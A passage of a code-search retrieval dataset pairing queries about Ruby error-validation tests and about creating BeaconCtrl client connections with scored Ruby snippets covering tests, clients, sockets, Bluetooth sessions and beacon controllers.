"text": "def test_init_bad_max_fake_input\n assert_raises 'Error: max_fake input argment in Location' do\n location = Location.new('init_location_4', 1, 'two')\n end\n end",
"title": ""
},
{
"docid": "071e9348193d576a182f9f756ffef90a",
"score": "0.55232465",
"text": "def throw_error(expected)\n ErrorMatcher.new(expected)\n end",
"title": ""
},
{
"docid": "57e0c50aa06e4473f402d432133e242a",
"score": "0.55126554",
"text": "def test_generate_message_invalid_with_default_message\r\n assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :default => nil, :value => 'title')\r\n end",
"title": ""
},
{
"docid": "1e4d27b6aec4e0e6ffc4a8a8f2d84aef",
"score": "0.55122817",
"text": "def test_invalid_with_empty_attributes\n forum = Forum.new(:name => \"\", :description => \"\")\n assert !forum.valid?\n \n assert forum.errors.invalid?(:name)\n assert_equal \"can't be blank\", \n forum.errors.on(:name)\n \n assert forum.errors.invalid?(:description)\n assert_equal \"can't be blank\", \n forum.errors.on(:description)\n end",
"title": ""
},
{
"docid": "fcd82743075288f014d266f0421c6f10",
"score": "0.5511828",
"text": "def test_blank_user\r\n new_user = User.new\r\n assert !new_user.valid?\r\n assert new_user.errors.invalid?(:userid)\r\n assert new_user.errors.invalid?(:password)\r\n end",
"title": ""
},
{
"docid": "64087b2482a87b6c682c8cc897193c26",
"score": "0.5508873",
"text": "def test_api_handles_unsupported_input\n mock_clients bad_req_code, bad_req_code\n\n assert_equal expected_response(bad_req_code), ambiguous_request('text')\n assert_raises NoMethodError do\n ambiguous_request(123)\n end\n assert_raises NoMethodError do\n ambiguous_request([])\n end\n end",
"title": ""
},
{
"docid": "3b20f6942583cae4b991fca75ffa97a7",
"score": "0.5501397",
"text": "def stub_forgot_password_error(aws_client, user_params, error)\n allow(aws_client).to receive(:forgot_password).with(**forgot_password(user_params)).and_raise(error)\nend",
"title": ""
},
{
"docid": "f7e7320fd994d1bda0545fbe55d2f217",
"score": "0.54882663",
"text": "def test_multiplication_object_check\n twenty_eur = MGDMoney.new(20, \"EUR\") # a valid MGDMoney object\n fifty_eur = MGDMoney.new(50, \"EUR\") # an invalid object that can't be multiplied\n \n assert_raises MGDMoney::UnsupportedOperationError do \n twenty_eur * fifty_eur\n end\n end",
"title": ""
},
{
"docid": "5888e8c1f6f71de1cae2d3bfd9132584",
"score": "0.5485014",
"text": "def test_body_overrides_error\n faraday_err_msg = \"foo\"\n faraday_err_code = 200\n\n faraday_err = OpenStruct.new(\n :message => faraday_err_msg,\n :response_body => @body_json,\n :response_headers => @headers,\n :response_status => faraday_err_code\n )\n\n gapic_err = ::Gapic::Rest::Error.wrap_faraday_error faraday_err\n\n assert_equal @status_code, gapic_err.status_code\n assert gapic_err.message.include? @err_message\n end",
"title": ""
},
{
"docid": "ef40fc8f10eb7613700436be67947a72",
"score": "0.54848826",
"text": "def assert_error(key, message)\n assert_equal 422, response.status\n assert_equal Mime::JSON, response.content_type\n\n errors = JSON.parse(response.body, symbolize_names: true)\n assert_match message, errors[key].join \n end",
"title": ""
},
{
"docid": "e94dea23e059090861431e6b27384777",
"score": "0.548429",
"text": "def assert_ar_invalid(ar, msg = nil)\r\n assert_not_nil ar, 'ar is nil'\r\n assert_respond_to ar, 'valid?'\r\n msg ||= 'ar should be invalid'\r\n assert !ar.valid?, msg\r\n end",
"title": ""
},
{
"docid": "c1e22ac2347e4ec95cdb1d5ad8d02fe1",
"score": "0.54802406",
"text": "def with_message(expected_message); end",
"title": ""
},
{
"docid": "017280ed7fb59e626010cda206047781",
"score": "0.547942",
"text": "def test_error_validation\n # No Term Name\n no_data = Term.new\n assert !no_data.valid?\n assert no_data.errors.invalid?(:term_name)\n\n # Invalid Data (Duplicate Term Name, Invalid Dates)\n bad_term = Term.new(:term_name => terms(:test_term).term_name,\n :default_class_registration_start => \"01-01-2001\",\n :default_class_registration_end => \"01-01-2000\" )\n assert !bad_term.save\n assert_equal \"has already been taken\" , bad_term.errors.on(:term_name)\n assert_equal \"should be greater than Start Date\" , bad_term.errors.on(:default_class_registration_end)\n \n # Valid Data\n good_term = Term.new(:term_name => \"Fall 2000\",\n :default_class_registration_start => \"01-01-2001\",\n :default_class_registration_end => \"01-01-2002\" )\n assert good_term.valid?\n end",
"title": ""
},
{
"docid": "3435c712592b5f22858595c7ed888acc",
"score": "0.54729825",
"text": "def test_faraday_error_applies_by_default\n mangled_json = @body_json.gsub(%r{\"code\":.*$}, \"\")\n mangled_json = mangled_json.gsub(%r{\"message\":.*$}, \"\")\n\n faraday_err_msg = \"foo\"\n faraday_err_code = 200\n\n faraday_err = OpenStruct.new(\n :message => faraday_err_msg,\n :response_body => mangled_json,\n :response_headers => @headers,\n :response_status => faraday_err_code\n )\n\n gapic_err = ::Gapic::Rest::Error.wrap_faraday_error faraday_err\n\n assert_equal faraday_err_code, gapic_err.status_code\n assert gapic_err.message.include? faraday_err_msg\n end",
"title": ""
},
{
"docid": "f6e0f7c958b56f8742920a1c73e096f0",
"score": "0.54719144",
"text": "def assert_valid(object, additional_message = nil)\n is_valid = object.valid?\n error_message = additional_message ? \"#{additional_message}\\n#{object.errors.full_messages}\" : object.errors.full_messages.join(\"\\n\")\n assert is_valid, error_message\n end",
"title": ""
},
{
"docid": "d6bb24bd2232bccca21dabb5a8a63077",
"score": "0.5470152",
"text": "def assertRaiseMessageInvalidTest pattern\n assertRaiseKindOf TypeError do\n assertRaiseMessage pattern do\n raise\n end\n end\n end",
"title": ""
},
{
"docid": "1834dd26ddf8cea38114b0df7f59b008",
"score": "0.5467547",
"text": "def build_error_object(obj)\n obj_errors = []\n obj.errors.messages.each do |k, v|\n obj_errors << \"#{k} #{v.join}\"\n end\n { success: false, errors: obj_errors }.to_json\n end",
"title": ""
},
{
"docid": "8062ba546c85ebf60a45865e009b7499",
"score": "0.54662544",
"text": "def test_should_require_text\n message = create(:messages => nil)\n assert message.errors.invalid?(:messages), \":messages should be required\"\n assert_invalid message, \"message shouldn't be created\"\n end",
"title": ""
},
{
"docid": "d9fa6e07799ccb37b2fdb73f32404af6",
"score": "0.5462403",
"text": "def test_api_bad_request\n mock_clients bad_req_code, bad_req_code\n\n assert_equal expected_response(bad_req_code), ambiguous_request('')\n end",
"title": ""
},
{
"docid": "3875ea6b56eb18c7df7dac7a75f42b14",
"score": "0.54622155",
"text": "def test_raises_error_when_question_is_number\n\t\tassert_raises \"Question has invalid format.\" do\n\t\t\tmagic_ball = MagicBall.new\n\t\t\tmagic_ball.ask(1)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "705d23ff13117edf766d3e4bb0b31359",
"score": "0.5455186",
"text": "def test_invalid_with_empty_attributes\r\n policy = Policy.new\r\n assert !policy.valid?\r\n assert policy.errors.invalid?(:group_number)\r\n assert policy.errors.invalid?(:group_name)\r\n assert policy.errors.invalid?(:relationship_id)\r\n assert policy.errors.invalid?(:subscriber_DOB)\r\n assert policy.errors.invalid?(:subscriber_sex)\r\n assert policy.errors.invalid?(:carrier_type)\r\n assert policy.errors.invalid?(:subscriber_number)\r\n assert policy.errors.invalid?(:subscriber_first_name)\r\n assert policy.errors.invalid?(:subscriber_last_name)\r\n assert policy.errors.invalid?(:subscriber_address)\r\n assert policy.errors.invalid?(:subscriber_city)\r\n assert policy.errors.invalid?(:subscriber_state)\r\n assert policy.errors.invalid?(:subscriber_zipcode)\r\n end",
"title": ""
},
{
"docid": "5e335b5ca29f42da3c759e5bd59f2329",
"score": "0.5453727",
"text": "def is_not_valid_and_does_not_save obj\n obj.should_not be_valid\n obj.save.should be_false\n obj.errors.should_not be_empty\n end",
"title": ""
},
{
"docid": "1df1ffbf8459dc8e1d433a87d63196ad",
"score": "0.5453404",
"text": "def test_invalid_object_types\n [true, {}, []].each do |sides|\n err = assert_raises RuntimeError do\n Nuffle.roll(sides)\n end\n\n assert_equal \"Input must be an equation or a number.\", err.message\n end\n end",
"title": ""
},
{
"docid": "599a3f4669567e3ab7150809e801dcdf",
"score": "0.5452524",
"text": "def test_invalid_with_empty_attributes\n user = User.new\n assert !user.valid?\n assert user.errors[:email].any?\n assert user.errors[:password].any?\n assert user.errors[:name].any?\n end",
"title": ""
},
{
"docid": "33549af65f62446b79b0b9d76d5889ca",
"score": "0.5446086",
"text": "def build_invalid_saml_response(in_response_to:, decrypted_document:, errors:, status_message:)\n saml_response = SAML::Responses::Login.new(decrypted_document.to_s)\n allow(saml_response).to receive(:validate).and_return(false)\n allow(saml_response).to receive(:errors).and_return(errors)\n allow(saml_response).to receive(:in_response_to).and_return(in_response_to)\n allow(saml_response).to receive(:decrypted_document).and_return(decrypted_document)\n allow(saml_response).to receive(:status_message).and_return(status_message)\n saml_response\n end",
"title": ""
},
{
"docid": "c5c5a9ba38c30aec4fdae47a16b75e22",
"score": "0.54413426",
"text": "def test_raises_error_when_question_is_number\n # assert_raises expects the block will raise an error\n assert_raises \"Question has invalid format.\" do\n magic_ball = MagicalBall.new\n magic_ball.ask(1)\n end\n end",
"title": ""
},
{
"docid": "82f551b8fdf7c48d929ef68054c7f4c0",
"score": "0.54399294",
"text": "def assertInstanceOfWithMessageTest klass, object, message\n assertInstanceOf klass, object, message\n end",
"title": ""
},
{
"docid": "1df69d1ff59ca447969815a5e6b2de3e",
"score": "0.54388475",
"text": "def test_error_only_test_case\n raise ArgumentError, 'All your base are belong to us!'\n end",
"title": ""
},
{
"docid": "8c5ca4aead6796cbddf778a9ef4b5d94",
"score": "0.54372305",
"text": "def build_error_object(obj)\n obj_errors = []\n obj.errors.messages.each do |k, v|\n obj_errors << \"#{k} #{v.join}\"\n end\n { success: false, errors: obj_errors }.to_json\n end",
"title": ""
},
{
"docid": "47043e72fe1e0545d141d3e03037b9a1",
"score": "0.5434384",
"text": "def test_no_politic_fails\n empty = Politic.new\n assert !empty.valid?\n assert empty.errors.invalid?(:name)\n end",
"title": ""
}
] |
e7494d1a2aa24e3bacfc6f7faf7ab6eb | Create new connection between BeaconCtrl and Client | [
{
"docid": "cbe903536bc51982c9fec9ac86d22e33",
"score": "0.6893542",
"text": "def connect!(user=nil)\n @@client = ::BeaconClient::Client.new(user || BeaconClient.config.user)\n end",
"title": ""
}
] | [
{
"docid": "c1666acf7f0a2c73b06cbe3409f68e8e",
"score": "0.7154972",
"text": "def create_bt_client_connect\n $testCaseID = \"VT229-0453\"\n $server_name = @params['device_name']\n Rho::BluetoothManager.create_client_connection_to_device($server_name, url_for(:action => :create_bt_callback1))\n end",
"title": ""
},
{
"docid": "7d9f0f3b9e3d17bfc6380ffa94857dc5",
"score": "0.6549823",
"text": "def create_client\n @networking.create_client\n end",
"title": ""
},
{
"docid": "1e0bc2815cf0ffd680e9fd10441e236e",
"score": "0.6329094",
"text": "def new_connection\n self.connection = new\n end",
"title": ""
},
{
"docid": "84b9733b9c2d598a016bc377fb96b0d0",
"score": "0.6327596",
"text": "def new_client\n Client.new(self)\n end",
"title": ""
},
{
"docid": "84b9733b9c2d598a016bc377fb96b0d0",
"score": "0.6327596",
"text": "def new_client\n Client.new(self)\n end",
"title": ""
},
{
"docid": "10ce125125585e74849707aaf6fb4d01",
"score": "0.62991333",
"text": "def create_bt_session_client\n $testCaseID = \"VT229-0451\"\n Rho::BluetoothManager.create_session(Rho::BluetoothManager::ROLE_CLIENT, url_for(:action => :create_bt_callback1))\n end",
"title": ""
},
{
"docid": "b0ed3213f1aab239bc43175aefa11c30",
"score": "0.62473774",
"text": "def initialize_client\n @client = RobinhoodClient.interactively_create_client\n end",
"title": ""
},
{
"docid": "a4a6288b66c82994941f78c284004706",
"score": "0.61717457",
"text": "def create\n sync!(params)\n redirect_to beacon_control_kontakt_io_extension.beacons_path\n end",
"title": ""
},
{
"docid": "0b6e64134e261606e42246c62191b735",
"score": "0.61547846",
"text": "def create_connection()\n @create_connection.call()\n end",
"title": ""
},
{
"docid": "24f38eb68b54856fcc3e816786bda619",
"score": "0.61327463",
"text": "def add_client(client)\n CLIENTS.push client\n puts 'new connection opened'\n end",
"title": ""
},
{
"docid": "2242e63d0f8b7e8ed144388e526339e1",
"score": "0.60799026",
"text": "def on_client_connect(client)\n\tend",
"title": ""
},
{
"docid": "b47356725e3abf92508067b6448e8a00",
"score": "0.60735285",
"text": "def bind_client(conn,obj)\n @clients.push({:conn => conn, :obj => obj})\n end",
"title": ""
},
{
"docid": "32f2d99a4e1f2be4eb4f235e5bc8f8c2",
"score": "0.6056224",
"text": "def new(*args)\n my = self.init\n my.connect(*args)\n end",
"title": ""
},
{
"docid": "437ec92440409e04a76ba80f74181ada",
"score": "0.6047145",
"text": "def establish_connection\n end",
"title": ""
},
{
"docid": "5d380c7b99e0e57a18f2849ba3d608e5",
"score": "0.60027456",
"text": "def connect\n @connection = BunnyManager::Conn.create\n @channel_pool = BunnyManager::ChannelPool.create(@connection)\n @connection\n end",
"title": ""
},
{
"docid": "d19d7e9c17aa2bdab64684a14053db05",
"score": "0.59960806",
"text": "def client!\n @connection = Db4o.open_client('localhost', config[:port].to_i, config[:user], config[:pass])\n end",
"title": ""
},
{
"docid": "463c7897bc343b5c33ded0eb3d7c38a8",
"score": "0.59713316",
"text": "def create\n http_api.post(\"clients\", self)\n end",
"title": ""
},
{
"docid": "7f800d57b82008e71ca325ebd99eeb76",
"score": "0.59562534",
"text": "def init_conn_cinder\n os_endpoint_cinder = Rails.application.config.os_endpoint_cinder\n @conn[:cinder] = Faraday.new(:url => \"#{os_endpoint_cinder}\") do |faraday|\n faraday.adapter :net_http_persistent\n end\n end",
"title": ""
},
{
"docid": "ab2dca058aa757ae7f79f1852bd2fedb",
"score": "0.5951124",
"text": "def record_connection(client)\n\t\tclient_info = client.addr(:hostname)\n\t\tConnectionInfo.where(\"disconnected_at is null\").each {|c| c.delete} # TODO, consider better ways to cleanup freak situations.\n\t\t@conn = ConnectionInfo.create(:ip => client_info[3], :hostname => client_info[2], :connected_at => Time.now)\n\tend",
"title": ""
},
{
"docid": "6476517ef8e29c046509d8b64c905b9b",
"score": "0.5950207",
"text": "def establish_connection\n @conn = build_connection\n end",
"title": ""
},
{
"docid": "19f3e3b7733ae99e2554d908772d9475",
"score": "0.5925815",
"text": "def new_client()\n Log.Debug(\"[NEW_CLIENT]\") {\n unless client.nil?\n client.close\n @client = nil\n @replid = nil\n end\n\n @client = MozRepl::Client.new(options) { |msg| Log.Debug msg }\n @replid = client.replid\n }\n Log.Debug \"{new_client} replid: '#{replid}'\"\n replid\n end",
"title": ""
},
{
"docid": "cdb6b14e18e669454b0983f1b0402c02",
"score": "0.5924177",
"text": "def init_conn_neutron\n os_endpoint_neutron = Rails.application.config.os_endpoint_neutron\n @conn[:neutron] = Faraday.new(:url => \"#{os_endpoint_neutron}\") do |faraday|\n faraday.adapter :net_http_persistent\n end\n end",
"title": ""
},
{
"docid": "c6532c73d9364cb645066aa399488793",
"score": "0.5903216",
"text": "def connect!\n @connection = TinyTds::Client.new(@params)\n on_connect\n true\n end",
"title": ""
},
{
"docid": "a2fd0c9fe2a2cb3cd1543557022ad8a8",
"score": "0.58966213",
"text": "def new\n @client = Client.new\n end",
"title": ""
},
{
"docid": "6badb266aab66b6e3202b79044ac4ab1",
"score": "0.5873045",
"text": "def initialize()\n connect\n end",
"title": ""
},
{
"docid": "d27f848a4990cc766e10b4846eac20d4",
"score": "0.5865182",
"text": "def new\n @client = Client.new\n \n end",
"title": ""
},
{
"docid": "ea1a55141605aa6a4e7358f4bf1d4768",
"score": "0.5861781",
"text": "def create_bt_session_server\n $testCaseID = \"VT229-0450\"\n Rho::BluetoothManager.create_session(Rho::BluetoothManager::ROLE_SERVER, url_for(:action => :create_bt_callback1))\n end",
"title": ""
},
{
"docid": "c893c22ae277ee2dbd1e11b771d6226f",
"score": "0.5853899",
"text": "def make_connect(address,port)\n#\t\tc = Connection.new()\n\t\t@connects << c\n\tend",
"title": ""
},
{
"docid": "47fabf86c0bf2b4f79583415b26dc69e",
"score": "0.58470076",
"text": "def create_connection\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "14b049895a503b58e2ba938e9c9e5002",
"score": "0.5841024",
"text": "def connect\n @raw_connection = self.class.new_client(@connection_parameters)\n rescue ConnectionNotEstablished => ex\n raise ex.set_pool(@pool)\n end",
"title": ""
},
{
"docid": "bb4152024a54110ad9a6914e99e7509b",
"score": "0.583795",
"text": "def create_client\n return unless @client_creation_needed\n\n client = Client.new(\n status: GlobalConstant::Client.active_status\n )\n client.save!\n\n @client_id = client.id\n end",
"title": ""
},
{
"docid": "658f7247c3b9633391af7acc58843eb6",
"score": "0.5827944",
"text": "def new_connection(args)\n raise NotImplemented, \"Interface needs to define a 'new_connection' method\"\n end",
"title": ""
},
{
"docid": "411b21a5bce05b91e6f9a4ed5a10a0eb",
"score": "0.58156395",
"text": "def connect!\n connection(true)\n end",
"title": ""
},
{
"docid": "82ec43eae329a7bd72e568f8c946f4a2",
"score": "0.5807804",
"text": "def add_client(mac_address)\n self.clients.push(Client.new(mac_address))\n end",
"title": ""
},
{
"docid": "02560e3cf1890e06db0787ec900c6f27",
"score": "0.58031565",
"text": "def connect!\n connect\n end",
"title": ""
},
{
"docid": "357f6d2a25371b66b70df11b954d4e36",
"score": "0.57971305",
"text": "def create\n beacons = import_params[:beacons].map{ |b|\n KontaktIo::Resource::Beacon.new(b)\n }\n BeaconsManager.new(current_admin).import beacons\n\n redirect_to beacon_control_kontakt_io_extension.beacons_path\n end",
"title": ""
},
{
"docid": "b993088117cc55bdc1db8fe431b8aaeb",
"score": "0.5793955",
"text": "def post_init\n $connections << self\n send_data 'connection ok'\n end",
"title": ""
},
{
"docid": "34e7960b1bf6bf1f094439f308d711b3",
"score": "0.578928",
"text": "def new\n @client = Client.new\n end",
"title": ""
},
{
"docid": "5eb8ae98c983acacd18194b4fb219ed7",
"score": "0.5783278",
"text": "def initialize\n if Rho::BluetoothManager.is_bluetooth_available then\n Rho::BluetoothManager.set_device_name('Bluetooth Sender')\n @@bluetooth_available = true\n else\n Alert.show_popup('No bluetooth device paired')\n end\n end",
"title": ""
},
{
"docid": "bb4eec95be47178494ac24c38730a90e",
"score": "0.57796705",
"text": "def socket_create\n @client = UDPClient.new(HOST_IP, PORT, TO_PORT)\n @client.socket.bind(@client.host, @client.port)\n end",
"title": ""
},
{
"docid": "d657d5a3d6f8d1c5a732784c6595f8a2",
"score": "0.5759752",
"text": "def connect()\n \n nil\n\n nil\n end",
"title": ""
},
{
"docid": "aab6cdecef52b4a1539e4cfbabac6bf5",
"score": "0.5757392",
"text": "def create_new_connection(options, &block)\n if @connection\n logger.debug(\"[Podman] shutting previous connection #{@connection}\")\n @connection.close\n end\n\n @connection_options = options\n @connection = Connection.new(options, &block)\n end",
"title": ""
},
{
"docid": "05fde2f5e8cc8859e402cba1f8cb8080",
"score": "0.5738267",
"text": "def connection\n return @connection if defined?(@connection)\n @connection = Bunny.new(Helper.slice_hash(@options, :host, :port, :virtual_host, :heartbeat,\n :automatically_recover,:user,:password))\n @connection.start\n @connection\n end",
"title": ""
},
{
"docid": "bafff2e6e0430391b273b5547f0a289d",
"score": "0.5731402",
"text": "def open_conn\n\t\t@socket = TCPSocket.new('localhost', 1729)\n\t\t@socket.readline.delete(\"\\r\\n\") # receive hello packet\n\tend",
"title": ""
},
{
"docid": "921a506e124209593ab342c261b1110d",
"score": "0.5721942",
"text": "def establish\n emit(\"pusher:connection_established\",\n socket_id: id, activity_timeout: 120)\n end",
"title": ""
},
{
"docid": "b3bed3595ee151178c9498caa2b9a758",
"score": "0.5711009",
"text": "def connect!\n connect(true)\n end",
"title": ""
},
{
"docid": "b11809616c74588d33138d12295d56d1",
"score": "0.570462",
"text": "def newclient\n Client.new CLIENT_ID, CLIENT_SECRET, CALLBACK_URL, AUTH_URL, ACCESS_URL, API_URL\nend",
"title": ""
},
{
"docid": "3dbc514ae06713c891aef16434e04db3",
"score": "0.5701753",
"text": "def connect!; end",
"title": ""
},
{
"docid": "88f68ca64e3bf89a98fffc90c7eb3c46",
"score": "0.5699734",
"text": "def initialize\n @connection = create_connection\n end",
"title": ""
},
{
"docid": "e2f06b4f47d88990b8e53832a19b5c24",
"score": "0.5687943",
"text": "def create_conn (conn_hash)\n hsh = {:baud => 115200}.merge conn_hash\n hsh.delete :path\n SerialPort.new(conn_hash[:path], hsh) \n end",
"title": ""
},
{
"docid": "e9cc5b199ef45c5901476ea2f3b872c1",
"score": "0.56824166",
"text": "def new_connection\n raise(Errors::AdapterNotSpecified) if @adapter_class.nil?\n @adapter_class.new(@config)\n end",
"title": ""
},
{
"docid": "e214dc0ed18be6b7c4ff8715ad228f7b",
"score": "0.5681504",
"text": "def connect(*args)\n @connection = Connection.new(*args)\n end",
"title": ""
},
{
"docid": "0de6006fcc69e855238d0c6c02dc4ef3",
"score": "0.5672718",
"text": "def create_bt_server_wait\n $testCaseID = \"VT229-0452\"\n Rho::BluetoothManager.create_server_and_wait_for_connection(url_for(:action => :create_bt_callback1))\n end",
"title": ""
},
{
"docid": "23e9e89f5003fa55709f68e9577675ac",
"score": "0.5659266",
"text": "def connect\n # Get the server reference\n @server = DRbObject.new_with_uri(@server_uri)\n end",
"title": ""
},
{
"docid": "6704d45db31cd8a2f85db58563637667",
"score": "0.56558245",
"text": "def post_init\n $connection_list << self\n @my_connection_index = $connection_list.length\n puts \"Connection Initialized #{@my_connection_index}) #{@my_address} - #{@signature}\"\n #\n # TODO: get access to the HostIP and HostPort associated with this connection\n # if it is the local control connection, do the following\n # * do not repeat other connection traffic to this connection\n # * consider any input a command to be processed\n end",
"title": ""
},
{
"docid": "6704d45db31cd8a2f85db58563637667",
"score": "0.56558245",
"text": "def post_init\n $connection_list << self\n @my_connection_index = $connection_list.length\n puts \"Connection Initialized #{@my_connection_index}) #{@my_address} - #{@signature}\"\n #\n # TODO: get access to the HostIP and HostPort associated with this connection\n # if it is the local control connection, do the following\n # * do not repeat other connection traffic to this connection\n # * consider any input a command to be processed\n end",
"title": ""
},
{
"docid": "c1f1d32b477f0d31e9d8364912f65a19",
"score": "0.5652225",
"text": "def connect(config)\n @client = TCPSocket.open config[:host], config[:port]\n setInterrupt\n end",
"title": ""
},
{
"docid": "5e488cd5a95061537a16d5cd2dff3c75",
"score": "0.5646349",
"text": "def create_client(websocket)\n client = new_client(websocket)\n @clients[client.id] = client\n end",
"title": ""
},
{
"docid": "89d2ae23c1e4f529f44035d8acc501e8",
"score": "0.5644602",
"text": "def active_client=(_arg0); end",
"title": ""
},
{
"docid": "080bca8c3f36966304909439004ce8f9",
"score": "0.56326723",
"text": "def new_client\n Mysql2::Client.new(username: @username, password: @password, database: @database, host: @host)\n end",
"title": ""
},
{
"docid": "a48875a43f7016c511bc0dbf2c3a41af",
"score": "0.56087387",
"text": "def connect\n @leap = Celluloid::WebSocket::Client.new(\"ws://#{port.host}:#{port.port}/v3.json\")\n\n super\n end",
"title": ""
},
{
"docid": "857784f1061379a5c36757f683b06ffd",
"score": "0.5605003",
"text": "def new_client( io )\n new_user = \"user#{@id}\"\n @clients[ new_user ] = io\n @id += 1\n logger \"New connection from #{io.peeraddr[2]}. Assigned #{new_user}\"\n io.puts \"Welcome. Assigned nick - #{new_user}.\\nEnter: /help for Help.\"\n end",
"title": ""
},
{
"docid": "3f5aa9a24ecdf7f6272a62ee4998100e",
"score": "0.56000215",
"text": "def make_client(o)\n region = get_region(o)\n option = {\n host: get_code_conf(\"ilb.v1.host.#{region}\", o),\n ssl: o.key?(:no_ssl) ? false : true,\n verify_ssl: o.key?(:no_vssl) ? false : true\n }\n option.merge!(base_options(o))\n\n Idcf::Ilb::Client.new(option)\n end",
"title": ""
},
{
"docid": "83192130cb553d6c807ac98875e11849",
"score": "0.5598293",
"text": "def init\n @host, @addr = @sock.peeraddr.slice(2..3)\n @connected = true\n @server.register(self)\n log.info \"(#{self.object_id}) New Connection on '#{@host}(#{@addr})'\"\n @pstack.filter_call(:init,nil)\n true\n rescue Exception\n log.error \"(#{self.object_id}) Connection#init\"\n log.error $!\n false\n end",
"title": ""
},
{
"docid": "aa4b28c431168386292d114e982ff8bb",
"score": "0.55960166",
"text": "def initialize(connection)\n @connection = connection\n @clients = []\n @channels = {}\n #establish_channels\n end",
"title": ""
},
{
"docid": "e5e65329d4169107f18d754c3eee1b9d",
"score": "0.5594346",
"text": "def on_connect(conn) end",
"title": ""
},
{
"docid": "b27a88c2add8838cf64ff4c41dad286b",
"score": "0.55921704",
"text": "def initialize(dbconf)\n @client = Riak::Client.new(host: dbconf['host'], pb_port: dbconf['port'])\n end",
"title": ""
},
{
"docid": "63b6423062d2a5de86bfc1e51e460052",
"score": "0.5587745",
"text": "def connect\n @connection = Bunny.new # pass in configuration params\n @connection.start\n end",
"title": ""
},
{
"docid": "ce8bf9285a2bd97f9f54a187c56e3354",
"score": "0.55845207",
"text": "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n\n `echo 'add: {\"server_port\": #{@client.port}, \"password\":#{@client.password} }' | socat -t 0 - UDP:127.0.0.1:6001`\n\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a544a151590b6e98dafe305f439d3d3e",
"score": "0.5578254",
"text": "def add_client(mac, interface, vlan, ip=nil)\n client = AuthClient.create(:macaddr => mac,\n :interface => interface,\n :vlan => vlan,\n :ipaddress => ip)\n return false unless client.saved?\n notify(:on_client_added, client)\n true\n end",
"title": ""
},
{
"docid": "891765b729b60117dce318c71b7879f3",
"score": "0.55781007",
"text": "def create\n\t \t@beacon = Beacon.new(beacon_params)\n\t\tif @beacon.save\n\t\t\trender json: @beacon, status: :created\n\t\telse\n\t\t\t render json: @beacon.errors, status: :unprocessable_entity\n\t\tend \n \tend",
"title": ""
},
{
"docid": "e9ccbe78e05961297ea1099d81fb7a12",
"score": "0.55745405",
"text": "def set_beacon\n @beacon = Beacon.find(params[:id])\n end",
"title": ""
},
{
"docid": "e9ccbe78e05961297ea1099d81fb7a12",
"score": "0.55745405",
"text": "def set_beacon\n @beacon = Beacon.find(params[:id])\n end",
"title": ""
},
{
"docid": "e9ccbe78e05961297ea1099d81fb7a12",
"score": "0.55745405",
"text": "def set_beacon\n @beacon = Beacon.find(params[:id])\n end",
"title": ""
},
{
"docid": "e9ccbe78e05961297ea1099d81fb7a12",
"score": "0.55745405",
"text": "def set_beacon\n @beacon = Beacon.find(params[:id])\n end",
"title": ""
},
{
"docid": "e9ccbe78e05961297ea1099d81fb7a12",
"score": "0.55745405",
"text": "def set_beacon\n @beacon = Beacon.find(params[:id])\n end",
"title": ""
},
{
"docid": "e9ccbe78e05961297ea1099d81fb7a12",
"score": "0.55745405",
"text": "def set_beacon\n @beacon = Beacon.find(params[:id])\n end",
"title": ""
},
{
"docid": "8d6a8642ccd317684506c5f5948d4c11",
"score": "0.5570706",
"text": "def init_conn_nova\n os_endpoint_nova = Rails.application.config.os_endpoint_nova\n @conn[:nova] = Faraday.new(:url => \"#{os_endpoint_nova}\") do |faraday|\n faraday.adapter :net_http_persistent\n end\n end",
"title": ""
},
{
"docid": "8b32a34bd84cdb248629cf35bf774752",
"score": "0.55684495",
"text": "def new_websocket_client(client)\n\n msg \"connecting to: %s:%s\" % [@target_host, @target_port]\n tsock = TCPSocket.open(@target_host, @target_port)\n\n if @verbose then puts @@Traffic_legend end\n\n begin\n do_proxy(client, tsock)\n rescue\n tsock.shutdown(Socket::SHUT_RDWR)\n tsock.close\n raise\n end\n end",
"title": ""
},
{
"docid": "0bfc8df56391fa57aef3c96064b9e46b",
"score": "0.55634093",
"text": "def establish\n emit(\"pusher:connection_established\", socket_id: socket.object_id)\n end",
"title": ""
},
{
"docid": "5e42b61c7a06e7cb61f3c801b7f095bc",
"score": "0.5560129",
"text": "def establish_connection\n @connection = ::Veritas::Adapter::DataObjects.new(uri)\n end",
"title": ""
},
{
"docid": "66f0633f8ca54e7b2434c61bd92f1c01",
"score": "0.5557504",
"text": "def initialize(client_conn)\n @client = client_conn\n\n @connected = false\n @closing = false\n end",
"title": ""
},
{
"docid": "c9878f5cf7477301c2952bda7ac0f901",
"score": "0.5556875",
"text": "def connect\n end",
"title": ""
},
{
"docid": "03f08f5e75150c3cdcbe63d090408f6b",
"score": "0.55501556",
"text": "def connect\n @connection = ::Sunstone::Connection.new(@connection_parameters)\n end",
"title": ""
},
{
"docid": "b9b6337e0c235ac5503ca5fffe78c2f9",
"score": "0.55500096",
"text": "def connect!\n raise \"Waithook connection already started\" if @started\n @started = true\n @client.connect!.wait_handshake!\n self\n end",
"title": ""
},
{
"docid": "897e2a17b5856bd565b0b5f069c4f83b",
"score": "0.5548547",
